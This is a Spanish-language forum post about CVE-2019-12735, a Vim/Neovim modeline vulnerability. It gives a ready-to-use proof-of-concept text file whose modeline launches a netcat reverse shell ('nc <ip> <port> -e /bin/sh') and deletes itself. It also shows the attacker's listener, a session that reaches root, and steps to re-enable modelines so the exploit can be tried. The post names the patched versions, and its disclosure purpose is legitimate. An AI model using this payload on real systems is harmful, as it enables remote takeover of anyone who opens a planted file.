Como hackear Linux con un archivo de texto (.txt)

Iniciado por DtxdF, Junio 11, 2019, 09:34:05 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 11, 2019, 09:34:05 PM Ultima modificación: Junio 12, 2019, 03:25:15 PM por DtxdF
Nueva vulnerabilidad en "Vim" y "Neovim" permite la ejecución de comandos



No hace mucho el investigador Armin Razmjou descubrio un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", Vulnerabilidad registrada como CVE-2019-12735.

Pero ... ¿Que es Vim?

Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.

Vulnerabilidad

Este fallo es debido a una caracteristica llamada "modelines", que basicamente le permite al editor de texto (Incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.

Esta caracteristica viene habilitada por defecto en estos editores, caracteristica que si el usuario lo desea la puede desactivar, el problema yace es que la mayoria de usuarios no lo hacen, ocasionando un posible control total a un atacante.

Como apoda el titulo de este articulo con un simple archivo de texto con un modeline especifico y simple es posible conseguir ejecutar codigo directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la linea del codigo se consigue salir de este aislamiento.

Prueba de Concepto

En este articulo no solo quiero tocar teoria, tambien practica, para eso solo crearemos un fichero de texto llamado "poc.txt" (Para este ejemplo), donde contendra el siguiente codigo modificado de "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" para conseguir el control del sistema remotamente o lo que se podria simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":

Código: php
:!nohup nc <ip> <puerto> -e <shell> >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm <nombre del archivo> >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


Ejemplo

Código: php
:!nohup nc 127.0.0.1 4444 -e /bin/sh >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm poc.txt >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


Claro ya tenemos que tener a netcat a la escucha:

Código: php
nc -vlp 4444


Una vez conectado podremos ejecutar comandos remotamente:

Código: php

root@dtxdf ~# nc -vlp 9999
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42730
whoami
root




Parches y soluciones

Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increibles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".

¿Vim y Neovim no son vulnerables?, vamos a vulnerarlos!

Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:

Código: php

# Presionamos ":" y colocamos set modeline?
# Si nos retorna "modeline" es porque somos vulnerables a este ataque y si no, nos retornaria "nomodeline"
# Y si quiero cambiarlo a "modeline" en caso de que nos retorne "modeline", colocamos el siguiente codigo en el archivo de ćonfiguracion de Vim "/etc/vim/vimrc"
# set modeline
# Y para ver si la prueba es exitosa, realiza el POC y me dices que tal ...


¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno

Referencias:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF